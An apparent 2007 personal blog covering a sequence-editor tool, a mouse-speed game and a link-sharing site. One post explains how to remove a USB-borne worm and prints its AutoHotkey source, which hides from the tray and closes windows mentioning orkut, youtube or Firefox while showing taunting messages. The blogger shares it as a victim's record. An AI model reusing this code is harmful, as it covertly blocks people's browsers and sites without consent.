Tuesday, May 29, 2007

Basepad-a sequence manipulator

Basepad is a windows based base sequence editor. Search, complement, XNA to amino acid,amino acid to XNA,3 to1 & 1to 3 letter code, invert, find ORF,statistics of bps,2bp palindromes.

It is a Bioinformatics tool that i hosted at Bioinformatics.org. The idea was to build upon it to make it better. However, after uploading version 0.0.1, i made few more additions like a tool bar and a few functions. The project stopped at that, hopefully i will put up a online version of the same some day. Hopefully this blog post will serve as a reminder!!!

There are many reasons as to why it is not being worked upon---PERL provides a far better alternative, VB was not meant to handle string manipulation(at least not of this magnitude),lets just say etc..

Saturday, May 26, 2007

Fastest mouse in the world

Are you the fastest mouse in the world? (Translation of are u the fastest gun in the west?) No need to speculate anymore. You can try your hand at the mouse race.

It is very simple to play. Just move your mouse as fast as you can. The speedometer will measure your Present Speed and show it as it changes. The Max Speed will show the fastest that you have moved your mouse. The present record is "1113.909332037397". I am sure some body will beat that..

The logic behind the game is simple..A speed measuring function is called whenever you move the mouse..It measures the present location and compares with the previous location.This is used to calculate the distance moved by you (Remember Phythogorus theorem). Assuming the time taken by the function call remains the same, the distance moved by your mouse in that time is given out as the speed.

The speed remains the same irrespective of the speedof the computer that you use. The logic for this is as follows---The faster the computer the faster the measure speed function is called..So the benefit obtained by better response time gets canceled.

However, the mouse response speed can be varied by changing the options in the OS..thats considered cheating. But i did not get much difference by changing the speed of response.

Ps-those who are using touchpad-no cheating!!

Wednesday, May 23, 2007

Posts of note-a newspaper?

A newspaper with contributions from around the world--thats what it hopes to be.You too can contribute to Posts of note. Just add a link to your blog post or web page. No need to have an account or login every time.

I tried using Digg for some time. But realized that it needs more number of fellow diggers to make it to the first page. I have seen some not so good stories make it to the first page while some really good ones don't even get digg's in two digit numbers. People don't seem to read those bits which are not submitted by fellow diggers. May be this is a trend i noticed and it could be an exception, but anyway Posts of note does not have this problem. But hopefully it will not be spammed.

The idea is to get to tell fellow netizens of new stuff or posts that we feel are noteworthy..it is built along the same lines as Ur line here. That was an attempt at writing an article for the college magazine, with contributions from different students.

Monday, May 21, 2007

Firefox closing worm or virus-easy removal solution

I picked up a worm while using the pen drive at the college. It is a rather unique one as it says

ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??

when you try to open orkut.

youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did

when you try to open youtube

and most intrestingly does not allow you to use firefox. However, it is easy to remove. Just go to the task manager by pressing ctrl+alt+del keys together.

remove all processes that have the name "SVCHOST.exe" and are running under your user name. Dont remove the other SVCHOST.exe processes such as the local service, system etc..

after that goto

C:\heap41a

select all the contents of that folder and delete it and you worm is gone. This seems a preliminary worm which may later become dangerous. Anyway for the sake of record i am putting up the script i found in it.

And one more thing it makes that wonderful noise which is supposed to be a laugh!! If you find any variants pls let me know..

#persistent
#notrayicon
settimer,ban,2000
return

ban:
WinGetActiveTitle, ed
ifinstring,ed,orkut
{
winclose %ed%
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ifinstring,ed,youtube
{
winclose %ed%
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ifinstring,ed,Mozilla Firefox
{
winclose %ed%
msgbox,262160,USE INTERNET EXPLORER YOU DOPE,I DNT HATE MOZILLA BUT USE IE `r OR ELSE...,30
return
}
ifwinactive ahk_class IEFrame
{

ControlGetText,ed,edit1,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit2,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit3,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit4,ahk_class IEFrame
ifinstring,ed,orkut
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,ORKUT IS BANNED,Orkut is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit1,ahk_class IEFrame
ifinstring,ed,youtube
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit2,ahk_class IEFrame
ifinstring,ed,youtube
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit3,ahk_class IEFrame
ifinstring,ed,youtube
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}
ControlGetText,ed,edit4,ahk_class IEFrame
ifinstring,ed,youtube
{
winclose ahk_class IEFrame
soundplay,C:\heap41a\2.mp3
msgbox,262160,youtube IS BANNED,youtube is banned you fool`,The administrators didnt write this program guess who did??`r`r MUHAHAHA!!,30
return
}

}
return

Thursday, May 3, 2007

Search engine related stuff

Some time ago i was all into search engine related stuff. The beginning was by coop search,which is a blog about the CSE search engine. It searches for the most relevant customised search engine made by people.

Apart from these application utilizations, google result filter is something to use. It takes a set of words (in the One query per line box)and checks if each of those words has a google result. Those which dont have results are shown in the box "Words without results" and those with results are shown in "Words with results". It has a limit of 100 words at a time, so that it does not burden the google server.Yes even 100 words are filtered--i have tried. But sometimes it goes berserk.

The search engine nightmare is a spoof of search engines. It has to be remembered that when i did this spoof, the search engines where giving results similar to the search engine nightmare. it was being caused due to the sudden emergence of various tagging services like delicious and simpy.

I hope to update these stuffs on my search engine page.

Wednesday, May 2, 2007

Posts of Note-Add your blog posts here.

Today Posts of note seems ready to work on both firefox and internet explorer. It is a online application powered by lazybase, you can add blog posts that you find noteworthy. You simply give the title and URL in the add post page. Giving a description is optional.

The posts can also be ranked on a scale of 1 to 5. The concept behind the Posts of note
is that of a newspaper. The articles that are worthy are put in a single place for people to read. Rather than having to subscribe to multiple blog feeds, you can directly subscribe to the feed of posts of note.

The only modifications, technically made by me is modifications to the java script file obtained from lazybase. The redirect page has been modified from the self to the home page. The entire exercise gave some idea of using external add scripts. The meaning is we can use scripts present on an external server for our own purpose with modifications.

If you want to make modifications to your lazybase script take a look at the source code of the add a post page. However, editing of data using an external script seems impossible with lazybase. Hope to find a work around for that soon. If you find Posts of note useful do let me know.